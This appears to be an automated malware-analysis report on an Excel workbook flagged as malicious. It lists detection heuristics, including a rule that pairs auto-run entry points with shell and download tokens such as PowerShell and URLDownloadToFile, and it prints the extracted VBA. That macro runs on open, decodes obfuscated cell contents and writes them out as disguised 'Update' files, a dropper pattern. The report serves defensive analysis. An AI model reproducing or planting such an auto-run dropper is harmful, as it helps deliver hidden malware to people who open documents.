MALICIOUS
68
Risk Score
Heuristics 3
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1697 bytes |
SHA-256: 96e6f2c7e0d7ec314748b870f7fb1e2bb28bbd99c84d37fa3e1d2b128f51e7bf |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim filename1 As String
Dim linetext1 As String
Dim FileExtension1 As String
Dim filename2 As String
Dim linetext2 As String
Dim FileExtension2 As String
FileExtension1 = Decode(Range("A1").Value)
FileExtension2 = Decode(Range("A2").Value)
filename1 = ThisWorkbook.Path & "\Update1" & FileExtension1
Open filename1 For Output As #1
linetext1 = Range("A3").Value
Print #1, linetext1
Close #1
filename2 = ThisWorkbook.Path & "\Update2" & FileExtension2
Open filename2 For Output As #2
linetext2 = Decode(Range("A4").Value)
Print #2, linetext2
Close #2
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Function Encode(a As String) As String
Dim i As Integer
Dim s As String
For i = 1 To Len(a)
s = Mid(a, i, 1)
s = Chr(Asc(s) + 1)
Encode = Encode & s
Next i
End Function
Function Decode(a As String) As String
Dim i As Integer
Dim s As String
For i = 1 To Len(a)
s = Mid(a, i, 1)
s = Chr(Asc(s) - 1)
Decode = Decode & s
Next i
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 18944 bytes |
SHA-256: a3447bc8e57d0ac946c5f8491078b68f6459bbc7ed1c391a3e668221df93db53 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.